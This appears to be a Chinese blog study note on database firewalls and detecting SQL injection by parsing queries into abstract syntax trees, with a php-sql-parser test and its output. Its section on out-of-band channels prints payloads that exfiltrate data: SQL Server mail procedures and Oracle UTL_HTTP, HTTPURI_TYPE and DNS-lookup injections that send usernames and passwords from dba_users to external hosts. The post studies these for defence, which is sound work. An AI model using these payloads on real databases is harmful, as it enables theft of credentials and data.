纵有疾风起
人生不言弃

基于AST抽象语法树的SQL注入检测 (1) – 网站安全

本周继续关注数据库防火墙相关知识:

基于AST抽象语法树的SQL注入检测 (1) – 网站安全插图

如果说渗透是攻击的话,那数据库防火墙就是防守了,第一次接触这块内容,上网找了一下资料,然后发现git上的开源项目druid又是java的,果断下载入门视频,把java的基础语法又学习了一下,不过有C、C#的基础,学习java相对不太难,然后就是阅读druid中的SQL注入检测模块和相关的资料,这里将这周的学习工作做一下总结

 

 

 

1. 相关资料

http://baike.baidu.com/link?url=sD57lAlRRV6pzwt9a4IYrXMM1jtJA6jXvQoukpSPJNIk9khWhUNiu5FPql-sO2rIQ874vGF3b8VsL9OBANKK6a

http://files.cnblogs.com/LittleHann/%E5%9F%BA%E4%BA%8E%E8%AF%AD%E6%B3%95%E6%A0%91%E7%89%B9%E5%BE%81%E5%8C%B9%E9%85%8D%E7%9A%84SQL%E6%B3%A8%E5%85%A5%E9%98%B2%E6%8A%A4%E6%96%B9%E6%B3%95%E7%A0%94%E7%A9%B6%E4%B8%8E%E5%AE%9E%E7%8E%B0_%E7%9F%B3%E8%81%AA%E8%81%AA.pdf

http://files.cnblogs.com/LittleHann/SQL-Injection-Detection-and-Prevention-Using.pdf

 

2. 数据库防火墙的特点

百度百科上列举了10个数据库防火墙产品的核心功能,个人觉得应该从大功能上分为2类进行说明:

一: 管理、审计模块

 

1. 连接监控:实时的监控所有到数据库的连接信息、操作数、违规数等。管理员可以断开指定的连接。
2.  安全审计:系统能够审计对数据库服务器的访问情况。包括用户名、程序名、IP地址、请求的数据库、连接建立的时间、连接断开的时间、通信量大小、执行结果等等信息。
  并提供灵活的回放日志查询分析功能,并可以生存报表。
3. 审计探针:本系统在作为数据库防火墙的同时,还可以作为数据库审计系统的数据获取引擎,将通信内容发送到审计系统中。
4. 细粒度权限控制:按照SQL操作类型包括Select、Insert、Update、Delete,对象拥有者,及基于表、视图对象、列进行权限控制
5. 自动SQL学习:基于自学习机制的风险管控模型,主动监控数据库活动,防止未授权的数据库访问、SQL注入、权限或角色升级,以及对敏感数据的非法访问等。
6. 透明部署:无须改变网络结构、应用部署、应用程序内部逻辑、前端用户习惯等

 

二: 实时检测、拦截模块

因为拦截模块正常来说应该是串联在整个通信链路上的,对从web应用服务器发起的Database Link要进行实时的响应(阻断、或放行),这部分对实时性要求很高,否则就是造成性能瓶颈。对于实时监测、拦截模块来说,它应该实现的核心功能为:

1. 屏蔽直接访问数据库的通道:数据库防火墙部署介于数据库服务器和应用服务器之间,屏蔽直接访问的通道,防止数据库隐通道对数据库的攻击。

"隐通道"也叫"测信道"攻击,在有的地方也有被称为"带外通信(Out-Band Comunication)",是一种利用非常规通道进行数据窃取的攻击方式。

http://files.cnblogs.com/LittleHann/%E5%AE%89%E5%85%A8%E6%95%B0%E6%8D%AE%E5%BA%93%E9%9A%90%E8%94%BD%E9%80%9A%E9%81%93%E7%9A%84%E6%A0%87%E8%AF%86%E6%8A%80%E6%9C%AF%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.pdf

在渗透攻击中,黑客可以使用的带外通信手段有:

1) E-mail

Microsoft sql sqlver
SQL Mail(sqlserver 2000,2005,2008)
Database Mail(sqlserver 2005,2008)

黑客需要做的是构造一种利用,通过它来提取想要的信息、将数据打包到e-mail中并使用专门的数据库函数插入到e-mail队列中。之后该e-mail就会出现在攻击者的邮箱中(这就是一种二段攻击的思路),例如:

 

EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXEC sp_configure 'SQL Mail XPs', 1
GO
RECONFIGURE
GO
exec master..xp_startmail;
exec master..xp_sendmail @recipients = 'xxxxxxxxx@qq.com', @query = 'select @@version';

 


或:

 

EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXEC sp_configure 'SQL Mail XPs', 1
GO
RECONFIGURE
GO
use msdb
go
declare @b varchar(8000);
select @b = @@version;
exec dbo.sp_send_dbmail @profile_name = 'sql_mail',
@recipients = 'xxxxxxxx@qq.com', @subject='system user again', @body = @b;

 

    2) HTTP

像Oracle这样的数据库还提供了两种执行HTTP请求的方法:

UTL_HTTP, HTTPURI_TYPE
UTL_HTTP包和HTTPURI_TYPE对象类型默认授权给了公共角色,可以由数据库所有用户执行或通过sql注入加以执行。

黑客可以在注入Payload中添加带外请求的语句进行攻击:

select 1 from dual where 1=utl_http.request('http://localhost/test/index.php?data=' || (select username from dba_users where rownum=1));
或者
select 1 from dual where 1=HTTPURI_TYPE('http://localhost/test/index.php?data=' || (select username from dba_users where rownum=1)).getclob();

3) DNS

如果sql查询写在URL内部,那么还可以通过域名系统(Domain Name System DNS)查询来发送数据(最大为64字节)。前提是假如攻击者此时控制了域内的DNS服务器。

select 1 from dual where 1=utl_http.request('http://www.'|| (select password from dba_users where rownum=1)  || '. orasploit.com/');

利用HTTP的机制,这个时候,oracle会把这个”假的”主机名发送给DNS去解析。从本质上这就是带外泄漏数据了。

 

2. 二次认证:基于独创的“连接六元组【机器指纹(不可伪造)、IP地址、MAC地址、用户、应用程序、时间段】”授权单位,应用程序对数据库的访问,必须经过数据库防火墙和数据库自身两层身份认证。

3. 攻击保护:实时检测用户对数据库进行的SQL注入和缓冲区溢出攻击。并报警或者阻止攻击行为,同时详细的审计下攻击操作发生的时间、来源IP、登录数据库的用户名、攻击代码等详细信息。

 

4. 精准SQL语法分析:高性能SQL语义分析引擎,对数据库的SQL语句操作,进行实时捕获、识别、分类

这条也是目前我学习的重点,即实时地对前端Web应用服务器传输的SQL语句进行AST(Abstract Syntax Tree 抽象语法树)解析,将自然语义的SQL语句解析成较为抽象地、机器可理解的数据结构,为接下来进行攻击性检测准备条件。

 

3. 我对AST解析的理解

AST解析即数据库防火墙中负责SQL 解析的模块(这往往也叫SQL预处理),负责解析SQL 语句,由以下三个部分组成:

 

1) 词法解析
词法解析负责对存储一段连的原始SQL 语句进行分解,得到一个个独立的单词,并且组织成为单词链表形式。

2) 语法解析
语法解析负责根据特定数据库的SQL 语法(Mysql、Oracle、Sqlserver)的不同特点,对词法解析后的单词链进行语法结构分析,构造出SQL 语法树。

3) 语义解析:
语义分析负责根据SQL 语法树分析该SQL 语句的语义特征

而之所以业内和学术界普遍都采用一种语法树,或类语法树的技术进行SQL语句的解析,原因在于SQL语句本身就是一种高度结构化的语言(Structure Query Language),SQL语句中的”逻辑结果集”、和”子查询”等特点使得很容易能够将SQL语句转化为一个”语法树”型的结构,语法树中的各个元素之间形成强依赖关系

这里所谓的强依赖关系,可以这么理解:

1) select 是SQL中的查询命令,它的后面(在AST中表现为子节点)必须是列名、数字、或字符串:

select 1,2 from dua;
select "hello" from dual;
selec user, password drom admin;

而这里的字符串,并不一定是指的是原生的字符串,可以是一种递归的结构,只要是能产生字符串结果即可,这也是SQL灵活性的体现
 

select concat(select user(), '--', database()) from dual;


2) where

对于where子句,核心思想也是一样的,where子句接收的必须是一个逻辑表达式,这是语法的规定,但是这个逻辑表达式的构造过程,可以非常灵活:

select 1,2,3 from admin where id=1;
select 1,2,3 from admin where id=if(ascii(substr((select user()),1,1)=1),1,0);

3) order by

order by的思想也是一样的,从语法上来讲,它接收的是一个列名或列表的序列号,但是这个序列号的构造过程可以允许有递归的构造过程,而黑客常常就是利用这点,
在子句中插入Payload进行"敏感数据提取"、或"盲注推理"

 

所以,不管实际的业务中,SQL语句怎么灵活变化,其骨架依然是一个严格的树状结构,因此,自然对SQL语句进行AST解析就是一种目前看来最好的做法了。

4. AST解析、生成过程

目前,开源的SQL语法解析引擎有很多,这里稍微列举如下:

http://code.google.com/p/php-sql-parser/wiki/ParserManual   基于PHP的SQL语法解析引擎

http://db.apache.org/derby/releases/release-10.10.1.1.cgi   Derby — 基于java的SQL语法解析引擎

https://github.com/alibaba/druid/wiki/SQL-Parser 德鲁伊 — 阿里的开源项目,基于java的SQL语法解析、分析、注入检测引擎(接下来的系列学习笔记会继续深入学习它)

 

在自己的服务器上搭建测试环境:

http://files.cnblogs.com/LittleHann/php-sql-parser-20131130.zip

测试代码:

 

<?php 
    require_once('php-sql-parser.php');

    $sql = "select name, sum(credits) from students where name='Marcin' and lvID='42509';";
    echo $sql . "\n";
    $start = microtime(true);
    $parser = new PHPSQLParser($sql, true); 
    var_dump($parser->parsed);
    echo "parse time simplest query:" . (microtime(true) - $start) . "\n"; 
?>

 

测试用例:
 

select name, sum(credits) from students where name='Marcin' and lvID='42509';
解析结果:

 

select name, sum(credits) from students where name='Marcin' and lvID='42509';
array (size=3)
  'SELECT' => 
    array (size=2)
      0 => 
        array (size=6)
          'expr_type' => string 'colref' (length=6)
          'alias' => boolean false
          'base_expr' => string 'name' (length=4)
          'no_quotes' => string 'name' (length=4)
          'sub_tree' => boolean false
          'position' => int 7
      1 => 
        array (size=5)
          'expr_type' => string 'aggregate_function' (length=18)
          'alias' => boolean false
          'base_expr' => string 'sum' (length=3)
          'sub_tree' => 
            array (size=1)
              ...
          'position' => int 13
  'FROM' => 
    array (size=1)
      0 => 
        array (size=10)
          'expr_type' => string 'table' (length=5)
          'table' => string 'students' (length=8)
          'no_quotes' => string 'students' (length=8)
          'alias' => boolean false
          'join_type' => string 'JOIN' (length=4)
          'ref_type' => boolean false
          'ref_clause' => boolean false
          'base_expr' => string 'students' (length=8)
          'sub_tree' => boolean false
          'position' => int 31
  'WHERE' => 
    array (size=7)
      0 => 
        array (size=5)
          'expr_type' => string 'colref' (length=6)
          'base_expr' => string 'name' (length=4)
          'no_quotes' => string 'name' (length=4)
          'sub_tree' => boolean false
          'position' => int 46
      1 => 
        array (size=4)
          'expr_type' => string 'operator' (length=8)
          'base_expr' => string '=' (length=1)
          'sub_tree' => boolean false
          'position' => int 50
      2 => 
        array (size=4)
          'expr_type' => string 'const' (length=5)
          'base_expr' => string ''Marcin'' (length=8)
          'sub_tree' => boolean false
          'position' => int 51
      3 => 
        array (size=4)
          'expr_type' => string 'operator' (length=8)
          'base_expr' => string 'and' (length=3)
          'sub_tree' => boolean false
          'position' => int 60
      4 => 
        array (size=5)
          'expr_type' => string 'colref' (length=6)
          'base_expr' => string 'lvID' (length=4)
          'no_quotes' => string 'lvID' (length=4)
          'sub_tree' => boolean false
          'position' => int 64
      5 => 
        array (size=4)
          'expr_type' => string 'operator' (length=8)
          'base_expr' => string '=' (length=1)
          'sub_tree' => boolean false
          'position' => int 68
      6 => 
        array (size=4)
          'expr_type' => string 'const' (length=5)
          'base_expr' => string ''42509'' (length=7)
          'sub_tree' => boolean false
          'position' => int 69
parse time simplest query:0.31218290328979

 

可以看到,一条SQL语句被切分成了几个根节点: SELECT、FROM、WHERE。根节点下面又有子节点,根节点和子节点之间形成逻辑上的依赖关系。

基于AST抽象语法树的SQL注入检测 (1) – 网站安全插图1

通过SQL语法解析,我们可以得到一个结构严谨的AST(抽象语法树),这个语法树可以作为接下来进行注入分析、检测的输入数据。

 

 

5. 下周的工作重点

1) 关于AST语法树的分析、注入检测的研究,深入druid的源代码进行学习

2) druid目前的拦截规则造成了一定的误报,需要对druid的SQL拦截规则进行优化,对攻击性的SQL语句和正常的业务语句的SQL结构特点进行深入分析,找出语法逻辑上的区分点,从这个角度进行规则优化

3) 针对目前拦截的误报问题,思考是否能扩展目前的分析维度:

例如:

黑客找到注入点后一般都会使用注入工具、扫描器(sqlmap、haviji)等工具进行进一步的注入探测以及脱库,而扫描器表形出的行为和正常的业务行为在时间这一个维度上是不一样

4) 对于实在无法改进的语句,提取出业务SQL的逻辑模式(SQL语句的骨架),加入druid的白名单,以期降低或消除目前的误报现象

    上一篇: 新版shlcms 注入 – 网站安全 – 自学php

    下一篇: 黑客如何利用SQL注入漏洞攻破一个WordPress网站
未经允许不得转载:起风网 » 基于AST抽象语法树的SQL注入检测 (1) – 网站安全
分享到: 生成海报

评论 抢沙发

评论前必须登录!

立即登录